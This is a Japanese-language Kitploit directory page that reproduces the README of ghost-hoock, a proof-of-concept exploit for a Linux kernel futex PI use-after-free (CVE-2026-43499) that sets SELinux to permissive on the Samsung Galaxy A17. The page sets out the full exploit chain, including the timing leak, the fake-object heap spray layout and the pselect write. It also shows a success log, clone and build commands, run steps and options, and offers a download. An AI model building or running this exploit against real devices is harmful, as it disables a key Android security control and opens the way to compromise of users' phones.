Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ghost-hoock — GhostLockを単一のプリミティブに絞り込み:futex PI UAF(CVE-2026-43499)を介してGalaxy A17(BZA5)でSELinuxを無効化。root不要、credパッチ不要、rwforge不要。 | Kitploit
ツール/GitHubGitHub/deaurity/ghost-hoock
Androidセキュリティ特権昇格メモリフォレンジック脆弱性分析エクスプロイトモバイルセキュリティ論文と研究ペイロード開発バイナリエクスプロイト
GitHubdeaurity/ghost-hoock

ghost-hoock

GhostLockを単一のプリミティブに絞り込み:futex PI UAF(CVE-2026-43499)を介してGalaxy A17(BZA5)でSELinuxを無効化。root不要、credパッチ不要、rwforge不要。

13920日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

ghost-hoock

GhostLock の最小限のフォークで、ただ1つのプリミティブだけを保持しています: CVE-2026-43499 (futex PI UAF) を利用して SELinux を無効化することです。

Samsung A17 上で動作する ghost-hoock

kernel device cve license platform


目次

  • これは何か
  • 仕組み
  • オリジナルから保持されたもの
  • 削除されたもの
  • ビルド
  • 実行
  • 要件
  • 制限とリスク
  • プロジェクト構成
  • ライセンス
  • クレジット
  • リンク

これは何か

ghost-hoock は Mobile Hacking Lab による GhostLock エクスプロイトの削ぎ落とされたフォークであり、単一のプリミティブにまで縮小されています:

futex PI UAF を介した1回の制約付き書き込み -> selinux_enforcing = 0。

root なし、cred 上書きなし、rwforge チャネルなし、UMH なし、configfs なし。脆弱なカーネル上で SELinux を permissive モードに切り替えるために必要な最小限のものだけです。

Samsung Galaxy A17 (SM-A175F, BZA5) での出力例:


[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

その後:

$ getenforce
Permissive

getenforce が Permissive を返す


仕組み

このエクスプロイトは CVE-2026-43499 を標的にしています — Linux カーネルの futex PI (Priority Inheritance) rt_mutex チェーンにおける use-after-free です。ghost-hoock のチェーンは4つのステップからなります:

1. KernelSnitch mm_struct リーク

カーネルの futex ハッシュテーブルに対するタイミングサイドチャネルです。ユーザー空間の futex の集合に対して FUTEX_WAKE_PRIVATE を連打し、rdtsc の差分を測定し、ハッシュバケットの衝突を相関させます。これにより自身の mm_struct のアドレス — 後に必要となるスプレーページのベース — を復元します。

これは KernelSnitch のテクニックであり、オリジナルのエクスプロイトからそのまま流用したものです。

2. ヒープスプレー

大きな order-3 スラブページを確保し、PI ルートで使用される偽オブジェクトのレイアウトで配置します:

オフセットオブジェクト目的
0x0E80fake_lock偽の rt_mutex
0x0F80fake_fops偽の file_operations テーブル
0x1180fake_w0ターゲットツリーとして使用される偽の rt_mutex_waiter
0x1240fake_right偽の rb-tree 右ノード — 書き込み値はここから来る
0x1260fake_left偽の rb-tree 左ノード
0x1280fake_task偽の task_struct

ページ全体は AF_UNIX ソケットを通じて SKB_SEND_SIZE = 2 * ORDER3_SIZE の sendmsg として送信され、skb データがリークしたページ上に配置されます。その後、制御された順序で解放し、自身のページが再利用可能な per-cpu の partial slab 上に残るようにします。

3. PI ルート

3つのスレッド:

  • waiter — f_wait に対して FUTEX_WAIT_REQUEUE_PI に入り、f_pi_target を対象とします。
  • owner — f_pi_target に対して FUTEX_LOCK_PI を保持し、続いて f_pi_chain に対しても保持します。
  • consumer — waiter の TID に対して sched_setattr(tid, SCHED_BATCH, nice=19) を呼び出し続け、これが rt_mutex_setprio() をトリガーしてカーネルに偽の PI ツリーを辿らせます。

メインスレッドからの4番目の呼び出し — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — が requeue を開始します。カーネル内部で、rb_erase() が偽のツリーに対して実行されます。

4. pselect 制約付き書き込み

pselect() / select() はユーザーの fd_set をカーネルスタックにコピーし、後でそれを辿ります。カーネルが rb-tree ポインタとして扱うワードが fake_right とその親に配置されるように fd_set ビットマップを調整し、結果として得られる rb_set_parent(child, parent) は次のようになります:


*(uint64_t *)target = value | color

mode = 1 (Write 1) の場合、target = selinux_enforcing かつ value = base + 0x100 であり、これは byte0 = 0, byte1 = 1 としてエンコードされます。カーネルは selinux_enforcing[0] に 0 を書き込みます — これで SELinux は permissive になります。

ret = 6 (デフォルトの 9 ではなく) は書き込みが成功したことを確認します: consumer が select() 中にターゲットに到達し、早期に起床したのです。


オリジナルから保持されたもの

これは mobilehackinglab/ghostlock-a17 (MIT) のフォークです。以下はアップストリームのエクスプロイトから1:1 で流用されています:

コンポーネントファイル備考
KernelSnitchsrc/kernelsnitch/*futex ハッシュタイミングによる mm_struct リーク
ヒープスプレーsrc/spray.c偽オブジェクトレイアウト、prepare_skb_payload、prepare_kernel_page
PI ルート + pselectsrc/route.cprepare_pselect_fdsets、do_pselect_fake_lock_route、consumer_thread、waiter_thread、owner_thread
BZA5 オフセットinclude/offsets_bza5.h6.12.23-android16-5-abA175FXXS5BZD2-4k から抽出されたシンボルテーブル
BZA5 ターゲットヘッダinclude/target.hアドレスレイアウト、ペイロードオフセット (W1 サブセットのみ)
ランタイム構造体オフセットinclude/runtime_struct_offsets.htask_struct フィールド用の _RSO() マクロ

補助コード (pr_* マクロ、SYSCHK、pin_to_core、set_limit、set_unbuffer) もオリジナルからそのまま保持されています。


削除されたもの

オリジナルの GhostLock は A17 で完全な root を取得します: rwforge 物理 R/W チャネルをインストールし、cred / real_cred をパッチし、init creds で UMH ヘルパーを実行し、ログをキャプチャするなどです。ghost-hoock では、最初の制約付き書き込みより先のすべてが削除されています。

削除されたファイルオリジナルで存在していた理由
rwforge_a17.cpipe_buffers を介した Marching-forger 物理 R/W チャネル
pipe_physrw.c、pipe_reclaim.cパイプバッファ再利用 -> 任意のカーネル読み書き
root.ccred / real_cred 上書き、su インストール、SELinux SID パッチ
umh_root.c、wq_umh_root() (main.c 内)偽のカーネル workqueue アイテムから init-creds ヘルパーを実行
slide.cboot_id オラクルによる KASLR リーク — BZA5 では不要、KASLR はオフ
miniadb.cADB TCP 経由のブートストラップ
try_cfi_stage() (fops.c 内)root パスをブートストラップするために使用された CFI 対応の configfs ステージ
run_rwforge()、run_bootid_oracle()、rwforge_root_and_capture()root パイプライン全体
install_embedded_su()、install_embedded_wallpaper()root インストールヘルパー
Write 2 (cred)、patch_cred_*、patch_task_seccompW1 後の資格情報奪取

オリジナルの GhostLock はこのフォークよりも完全かつ強力なままです。ghost-hoock は代替品ではありません — 1つの狭いタスク、すなわち SELinux をオフにするための最小限の PoC です。


ビルド

オンデバイス (clang、Termux または adb shell)

$PATH に clang と make が必要です。Termux でテスト済み。ツールチェーンがあれば adb shell 経由でも動作します。

git clone https://github.com/genksome/ghost-hoock
cd ghost-hoock
make

出力: ./ghost-hoock (aarch64, PIE)。

Android NDK 経由 (PC 上)

make NDK=/path/to/android-ndk-r26

または手動で:

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

クロスコンパイルの確認

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

実行

# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirm SELinux is currently enforcing
getenforce
# -> Enforcing

# run
/data/local/tmp/ghost-hoock

# verify
getenforce
# -> Permissive

オプション

ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

環境変数

ツールをダウンロード